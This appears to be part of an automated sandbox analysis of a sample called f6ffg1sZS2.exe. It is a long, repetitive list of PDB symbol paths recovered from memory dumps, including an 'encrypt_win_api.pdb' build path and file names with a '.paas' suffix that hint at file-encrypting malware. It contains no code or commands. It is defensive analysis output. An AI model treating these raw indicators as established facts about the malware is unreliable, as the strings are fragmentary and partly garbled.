Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\/f source: f6ffg1sZS2.exe, 00000002.00000003.2292693017.000000000A4FE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2319451140.000000000A51C000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2293085778.000000000A529000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327165024.000000000A4FA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292812422.000000000A507000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2290846259.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327344999.000000000A520000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2338761669.000000000A520000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2359260163.000000000A519000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2359364496.000000000A531000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2318576149.000000000A4E9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292427043.000000000A4FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: n Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\p\ source: f6ffg1sZS2.exe, 00000002.00000003.2343806872.000000000A3F5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ta\ source: f6ffg1sZS2.exe, 00000002.00000003.2366534697.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2358821271.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2365911711.00000000040C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\*1 source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\;} source: f6ffg1sZS2.exe, 00000002.00000003.2320703056.0000000004039000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320318916.0000000004021000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\d8bbwe\ source: f6ffg1sZS2.exe, 00000002.00000003.2403775246.0000000003CDE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2320703056.0000000004039000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320318916.0000000004021000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\ntkrnlmp.pdb\l\ source: f6ffg1sZS2.exe, 00000002.00000003.2256651168.000000000A39D000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2257026088.000000000A3A8000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2293003594.000000000A3B3000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2291230870.000000000A39D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2339318699.0000000004090000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2359996829.000000000A3E2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2342936913.00000000040A0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341289234.000000000A3F0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2340726216.000000000A3E4000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2361516833.000000000A3F8000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2340286253.000000000A3C6000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2365408738.000000000A400000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341998962.000000000A3F1000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2373459368.000000000A406000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341559874.0000000004091000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2342617032.000000000A404000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2372127609.000000000A400000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2069381677.0000000003CD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2399417330.000000000A52E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2390637917.000000000A52E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: f6ffg1sZS2.exe, 00000002.00000003.2292082914.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2319052984.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2293367895.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320190916.000000000A44A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2319784597.000000000A433000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\pg source: f6ffg1sZS2.exe, 00000002.00000003.2256651168.000000000A39D000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2257026088.000000000A3A8000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2293003594.000000000A3B3000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2291230870.000000000A39D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2378880019.000000000A4CB000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380866739.000000000A4E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb source: f6ffg1sZS2.exe
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.errorSearchCache\SettingsCache.txt.paas source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\\ source: f6ffg1sZS2.exe, 00000002.00000003.2327165024.000000000A4FA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\!}s source: f6ffg1sZS2.exe, 00000002.00000003.2373086035.0000000004071000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040AA000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2327463384.0000000004050000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2338866477.0000000004057000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330141322.0000000004050000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2343523011.0000000004070000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2339318699.0000000004061000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330521707.0000000004061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\e\ source: f6ffg1sZS2.exe, 00000002.00000003.2386194021.0000000004050000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\es\ source: f6ffg1sZS2.exe, 00000002.00000003.2398017850.0000000004061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\\1F> source: f6ffg1sZS2.exe, 00000002.00000003.2320448516.000000000A3A2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2318970830.000000000A39D000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2291230870.000000000A39D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\p\ source: f6ffg1sZS2.exe, 00000002.00000003.2327961758.000000000A3ED000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2318700636.000000000A3B9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320272455.000000000A3EC000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341289234.000000000A3F0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2340726216.000000000A3E4000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2340286253.000000000A3C6000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320535419.000000000A3ED000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341998962.000000000A3F1000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2319052984.000000000A3C7000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\65\ source: f6ffg1sZS2.exe, 00000002.00000003.2378880019.000000000A4CB000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380866739.000000000A4E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdbI source: f6ffg1sZS2.exe
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ source: f6ffg1sZS2.exe, 00000002.00000003.2328928064.000000000A442000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327961758.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330886383.000000000A445000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2331403353.000000000A445000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\rts\\|q source: f6ffg1sZS2.exe, 00000002.00000003.2041030391.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039197748.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2040028276.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039153899.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039505070.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039457527.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2040205371.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2041179979.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2039017429.0000000003D3F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\TSg source: f6ffg1sZS2.exe, 00000002.00000003.2320318916.0000000004021000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\n source: f6ffg1sZS2.exe, 00000002.00000003.2370953145.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2379506496.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2377710204.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380931502.000000000417A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\i source: f6ffg1sZS2.exe, 00000002.00000003.2393447255.000000000A550000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2386112721.000000000A541000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.paasV source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A44C000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2320448516.000000000A3A2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2318970830.000000000A39D000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2291230870.000000000A39D000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\download.error.paasts\* source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\e\ source: f6ffg1sZS2.exe, 00000002.00000003.2366534697.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2358821271.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2365911711.00000000040C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: f6ffg1sZS2.exe, 00000002.00000003.2387896261.0000000004140000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2379506496.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2377710204.000000000417A000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2392724497.000000000418F000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2380931502.000000000417A000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\ingState\ source: f6ffg1sZS2.exe, 00000002.00000003.2403545347.000000000416B000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\68A17FAF3012B7846079AEECDBE0A5831\3 source: f6ffg1sZS2.exe, 00000002.00000003.2339318699.0000000004090000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2366534697.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330521707.00000000040D3000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2342936913.00000000040A0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2358821271.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2341559874.0000000004091000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2365911711.00000000040C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\a\1 source: f6ffg1sZS2.exe, 00000002.00000003.2339888808.000000000A450000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\% source: f6ffg1sZS2.exe, 00000002.00000003.2398179007.00000000041BE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\l\ata source: f6ffg1sZS2.exe, 00000002.00000003.2378535656.000000000A3EB000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2379273331.000000000A3F8000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2379699280.000000000A3F9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2327165024.000000000A4FA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327344999.000000000A520000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\C source: f6ffg1sZS2.exe, 00000002.00000002.2409328051.0000000004206000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2402244378.0000000004206000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\y\4}T source: f6ffg1sZS2.exe, 00000002.00000003.2380219374.0000000004139000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2371532126.00000000040F1000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2377710204.0000000004138000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2370953145.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2373289621.0000000004131000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\%d source: f6ffg1sZS2.exe, 00000002.00000003.2292693017.000000000A4FE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2293085778.000000000A529000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292812422.000000000A507000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2290846259.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2292427043.000000000A4FD000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: f6ffg1sZS2.exe, 00000002.00000003.2320318916.0000000004065000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327463384.0000000004050000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330141322.0000000004050000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330521707.0000000004061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\ source: f6ffg1sZS2.exe, 00000002.00000003.2069381677.0000000003CD5000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\h- source: f6ffg1sZS2.exe, 00000002.00000003.2342936913.000000000410E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2366534697.00000000040D9000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2362908002.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2358821271.00000000040C0000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2365911711.00000000040C0000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\we\ source: f6ffg1sZS2.exe, 00000002.00000003.2403775246.0000000003CDE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\G source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\\H source: f6ffg1sZS2.exe, 00000002.00000003.2341109381.000000000A501000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2360832006.000000000A4CA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2339888808.000000000A4A2000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2361098870.000000000A50F000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\we\ source: f6ffg1sZS2.exe, 00000002.00000003.2319451140.000000000A51C000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327165024.000000000A4FA000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327344999.000000000A520000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2318576149.000000000A4E9000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\winload_prod.pdb\H source: f6ffg1sZS2.exe, 00000002.00000003.2398017850.0000000004061000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\he\mQ+ source: f6ffg1sZS2.exe, 00000002.00000003.2399417330.000000000A52E000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2390637917.000000000A52E000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: \??\C:\Users\user\Local Settings\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\winload_prod.pdb.paas source: f6ffg1sZS2.exe, 00000002.00000003.2256501204.000000000A4CE000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Application Data\Application Data\Application Data\Temp\Symbols\ntkrnlmp.pdb\s\ source: f6ffg1sZS2.exe, 00000002.00000003.2319052984.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2328928064.000000000A442000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2327961758.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2320828584.000000000A438000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2319784597.000000000A433000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2330886383.000000000A445000.00000004.00000020.00020000.00000000.sdmp, f6ffg1sZS2.exe, 00000002.00000003.2331403353.000000000A445000.00000004.00000020.00020000.00000000.sdmp
Source:	Binary string: C:\Users\user\Local Settings\Application Data\Temp\Symbols\winload_prod.pdb\01AB9056EA9380F71644C4339E3FA1AC2\ source: f6ffg1sZS2.exe, 00000002.00000003.2256651168.000000000A433000.00000004.00000020.00020000.00000000.sdmp
